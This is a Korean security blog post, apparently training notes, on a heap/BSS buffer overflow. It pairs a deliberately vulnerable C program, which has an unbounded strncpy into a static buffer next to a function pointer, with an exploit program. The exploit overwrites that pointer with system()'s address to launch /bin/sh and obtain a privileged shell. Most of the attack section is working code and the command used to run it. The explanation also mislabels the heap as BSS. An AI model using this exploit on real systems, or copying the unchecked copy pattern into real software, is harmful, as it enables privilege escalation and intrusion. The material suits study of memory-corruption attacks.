Heap BufferOverFlow 공격시스템해킹2023. 11. 26. 14:43
Table of Contents
heap영역은 동적할당되는 메모리 공간들을 제어하는 곳이다. BSS(Block Started by Symbol)이라고 불리며 스택과 정반대로 메모리의 하위 주소에서부터 상위 주소로 증가하는 형태다. 이를 활용해 root 권한을 탈취한다.
heap-bugfile.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#define ERROR -1
int fucntion(const char *str){
printf("function 포인터에 호출되는 정상적인 함수\n", str);
return 0;
}
int main(int argc, char **argv){
static char buf[16];
static int(*funcptr)(const char *str);
if(argc <= 2) {
fprintf(stderr, "사용법: %s <buffer> <fucntion's arg>\n", argv[0]);
exit(ERROR);
}
printf("system() 함수의 주소 값 = %p\n", &system);
funcptr = (int (*)(const char *str))fucntion;
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
(void)(*funcptr)(argv[2]); return 0;
}
- BUFSIZE는 함수 포인터(funcptr)와 buf 사이의 거리를 나타내며, 버퍼 오버플로우를 일으킬 때 사용된다.
- BUGPROG은 취약한 프로그램의 위치를 나타낸다.
- CMD는 실행할 명령을 나타내고 "/bin/sh"는 쉘을 실행한다.
- main 함수에서는 함수 포인터와 sysaddr을 초기화하고, 버퍼를 설정
- 프로그램이 실행될 때 명령행 인자로 offset이 전달되어야 한다. offset은 system 함수의 주소를 계산하는 데 사용된다.
- sysaddr은 &system에서 offset을 뺀 값으로 계산되며, 이는 system 함수의 주소를 얻기 위한 계산이다.
- 버퍼인 buf는 'A'로 초기화되고, sysaddr의 바이트를 버퍼에 쓴다. 이렇게 함으로써 system 함수의 주소를 버퍼에 쓰게 됩니다.
- 마지막으로 execl 함수를 사용하여 취약한 프로그램을 실행한다. 이때 버퍼와 CMD가 인자로 전달된다.
이 코드는 heap overflow 취약점을 이용하여 시스템 함수의 주소를 획득한다.
system()함수의 주소는 0x080483fc
heap-exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUFSIZE 16 // 함수 포인터(funcptr)과 buf와의 거리
#define BUGPROG "./heap-bugfile" // 취약 프로그램의 위치
#define CMD "/bin/sh" // 실행할 명령
#define ERROR -1
int main(int argc, char **argv){
register int i;
u_long sysaddr;
static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};
if(argc <= 1){
fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
exit(ERROR);
}
sysaddr =(u_long)&system - atoi(argv[1]);
printf("Trying system() at 0x%lx\n", sysaddr);
memset(buf, 'A', 16);
for(i = 0; i < sizeof(sysaddr); i++)
buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
execl(BUGPROG, BUGPROG, buf, CMD, NULL);
return 0;
}
- BUFSIZE는 버퍼의 크기를 정의하고 있다. 이 크기는 함수 포인터와 buf 사이의 거리를 나타낸다.
- BUGPROG은 취약한 프로그램의 위치를 나타낸다. 이 프로그램을 실행하면 버퍼 오버플로우 취약점이 발생한다.
- CMD로 "/bin/sh" 쉘을 실행한다.
- main 함수에서 첫 번째로 명령행 인자의 갯수를 확한다. 인자가 충분하지 않으면 사용 방법을 출력하고 프로그램을 종료한다.
- sysaddr은 system 함수의 주소에서 사용자가 입력한 offset을 빼서 계산된다. 이 주소는 버퍼 오버플로우를 통해 함수 포인터를 덮어쓸 목표 주소이다.
- buf는 'A' 문자로 채워지고, sysaddr의 각 바이트가 buf의 끝 부분에 복사된다. 이를 통해 버퍼 오버플로우가 발생할 때 함수 포인터가 sysaddr를 가리키게 된다.
- 마지막으로 execl 함수로 취약한 프로그램을 실행한다. 이때 buf와 CMD는 인자로 전달된다.
공격
공격 시 오프셋(Offset) 값 임의로 입력해 heap_bugfile의 System() 주소 값과 공격 코드 heap-exploit 이 시도하는 system() 함수의 주소 값을 일치시키는 값을 찾는다. 임의로 8을 입력하면 0x8048400 가 0x80483fc 와 4바이트 차이나는 것을 확인 후, 오프셋을 12바이트로 공격 시도하면 관리자 권한의 셸이 뜨는 것 확인할 수 있다.
입력 : ./heap-bugfile '0x41414141 0x41414141 0x41414141 0x41414141 0x080483fc' /bin/sh
공격 수행 결과 힙의 funcptr 값이 system 함수가 있는 0x080483fc 로 변경된다. /bin/sh 을 인수로 실행하여 system(/bin/sh) 명령을 수행한 것과 같은 결과다.
'시스템해킹' 카테고리의 다른 글
취약점 자동 분석 및 공격 0x1 환경 세팅 (0) | 2023.11.29 |
---|---|
Format String 특정 메모리값 변조 (0) | 2023.11.26 |
Return-To-Libc (RTL) 공격 (2) | 2023.11.26 |
Stack BufferOverFlow 공격 (0) | 2023.11.26 |
KISA 해킹 훈련 고급 과정 정리 (4) | 2023.11.26 |
@widesec :: 보안 기술로그
IT/보안